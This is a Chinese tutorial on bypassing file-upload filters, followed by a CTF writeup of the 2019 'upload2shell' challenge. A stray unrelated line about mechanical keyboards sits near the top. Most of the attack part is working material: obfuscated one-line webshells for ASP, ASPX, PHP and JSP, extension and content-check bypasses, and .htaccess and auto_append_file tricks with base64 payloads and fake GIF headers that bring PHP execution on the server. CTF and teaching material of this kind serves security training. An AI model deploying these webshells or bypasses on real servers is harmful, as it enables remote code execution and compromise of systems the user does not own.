文件上传


8种机械键盘轴体对比
本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?

绕过方式

前台js绕过

一般采用js在前端进行验证,这样的可以直接修改js文件进行绕过,或者先把文件改为图片格式,之后抓包修改后缀名。

文件后缀名检测

有白名单方式和黑名单,一般黑名单与白名单相比较更简单一点,绕过方法

  • 大小写绕过(如test.Php)
  • 特别文件名字绕过(如 terst.php… test.asp_)
  • 双写后缀名绕过(test.phpphp)
  • IIS 或者 nginx 文件名解析漏洞
  • 自动后缀绕过

文件内容检测绕过

修改一句话木马内容,添加图片文件头信息,绕过文件内容检测

一句话木马简单变形

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ASP:<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>//-7

ASPX:<%@ Page Language = Jscript %>
<%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/
"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+
"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+
","+"""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"""+")";eval
(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>//-7

PHP:<?php $_GET[a]($_GET[b]);?>

JSP:<%
if(request.getParameter("f")!=null)(new
java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

二次变形

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ASP:<%if request ("MH")<>""then session("MH")=request("MH"):end 
if:if session("MH")<>"" then execute session("MH")%>


ASPX:<%@ Page
Language="Jscript"%><%eval(Request.Item[FormsAuthentication.HashPasswordForStoringInConfigFile(String.Format("{0:yyyyMMdd}",DateTime.Now.ToUniversalTime())+"37E4DD20C310142564FC483DB1132F36",
"MD5").ToUpper()],"unsafe");%>//随日期变化的连接密码


PHP:<?php ($_=@$_GET[2]).@$_($_POST[1])?>



JSP:<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>

题目writeup

2019年全国大学生信息安全竞赛华东北分区赛upload2shell

解题

打开网址只有一个上传页面,推测是文件上传,首先上传一个普通图片试试。

上传成功够后会显示文件的路径

1563521129197

直接访问文件的路径就可以查看图片,上传php文件会显示illegal suffix!

用burp suite抓包,发送到repeater进行测试,当文件内容中含有<?时,会显示&lt;? in contents!

所以大致就是需要绕过后缀名检测和文件内容检测,先突破后缀名识别,载考虑内容检测。

尝试 test.Php test.phpphp test.php.jpg 00截断 test.php;.jpg 都不行,最后使用 test.php. 成功绕过后缀名检测。

下一步绕过文件内容检测,因为php的开头必须为<? 所以要不就是绕过检测 要不就是文件内容里没有<?这两个字符。

经过查资料,可以在js中添加php代码,具体为

1
2
3
<script language='php'>
@eval($_POST[a]);
</script>

这样文件内容里就没有<?这两个字符了,可以正常上传,上传后使用蚁剑连接,连接后就可以在服务器上找到flag了。

1563523530090

另一种方法

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

针对黑名单中未包含.htaccess后缀,可以通过重写解析配置,来达到解析文件的效果

利用方法

方法一

.htaccess文件内容

1
2
3
4
 FileMatch 参数即为文件名的正则匹配
<FilesMatch "hhh">
SetHandler application/x-httpd-php
</FilesMatch>

将一句话文件名设置为hhh

1
2

<?php eval($_GET['a']);?>
方法二

.htaccess文件内容,这个会将jpg格式的文件以php文件格式进行解析

1
AddType application/x-httpd-php .jpg

将一句话文件改为jpg后缀

1
2
// filename.jpg
<?php eval($_GET['c']);?>

解题

将一句话使用base64加密,在设置auto_append_file时进行解密;<?php eval($_POST[1]);base64加密后为PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==因为会检测文件类型 所以添加文件头GIF89a,但是base64解码会将四个字符转换为三个字符。所以文件头写成GIF89a12上传文件

1
GIF89a12PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==

返回文件地址images/f528764d624db129b32c21fbca0cb8d6/1.jpg

构造.htaccess

1
2
AddType application/x-httpd-php .shell
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg"

这个的意思是使当前目录解析.shell的文件,并且加载文件后自动添加auto_append_file的内容,直接上传.htaccess会显示exit_imagetype:not image所以添加文件头GIF89a,这样.htaccess 无法生效,所以需要绕过这个检测。

下面是支持的图片的类型

ValueConstant
1IMAGETYPE_GIF
2IMAGETYPE_JPEG
3IMAGETYPE_PNG
4IMAGETYPE_SWF
5IMAGETYPE_PSD
6IMAGETYPE_BMP
7IMAGETYPE_TIFF_II (intel byte order)
8IMAGETYPE_TIFF_MM (motorola byte order)
9IMAGETYPE_JPC
10IMAGETYPE_JP2
11IMAGETYPE_JPX
12IMAGETYPE_JB2
13IMAGETYPE_SWC
14IMAGETYPE_IFF
15IMAGETYPE_WBMP
16IMAGETYPE_XBM
17IMAGETYPE_ICO
18IMAGETYPE_WEBP

Wireless Bitmap(WBMP)是一种移动计算机设备使用的标准图像格式。这种格式特定使用于Wireless Application Protocol(WAP)网页中。WBMP支持1位颜色,即WBMP图像只包含黑色和白色像素,而且不能制作的过大,这样在wap手机里才能被正确显示。

在.htaccess中默认#开头行为注释行,以0x00开头同样也是注释行,在十六进制编辑器中加入0x00,第二行是那些内容。

1563552259925

上传这个文件

之后上传1.shell,内容为

1
GIF89a

返回路径images/f528764d624db129b32c21fbca0cb8d6/1.shell

访问这个地址,在post中写入密码和命令即可执行。

1563552749250

题目关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(!$tmp_name){
die("filesize too big!");
}
if(!$name){
die("filename cannot be empty!");
}
$extension = substr($name,strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)){
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if(!$image_type){
die("exif_imagetype:not image!");
}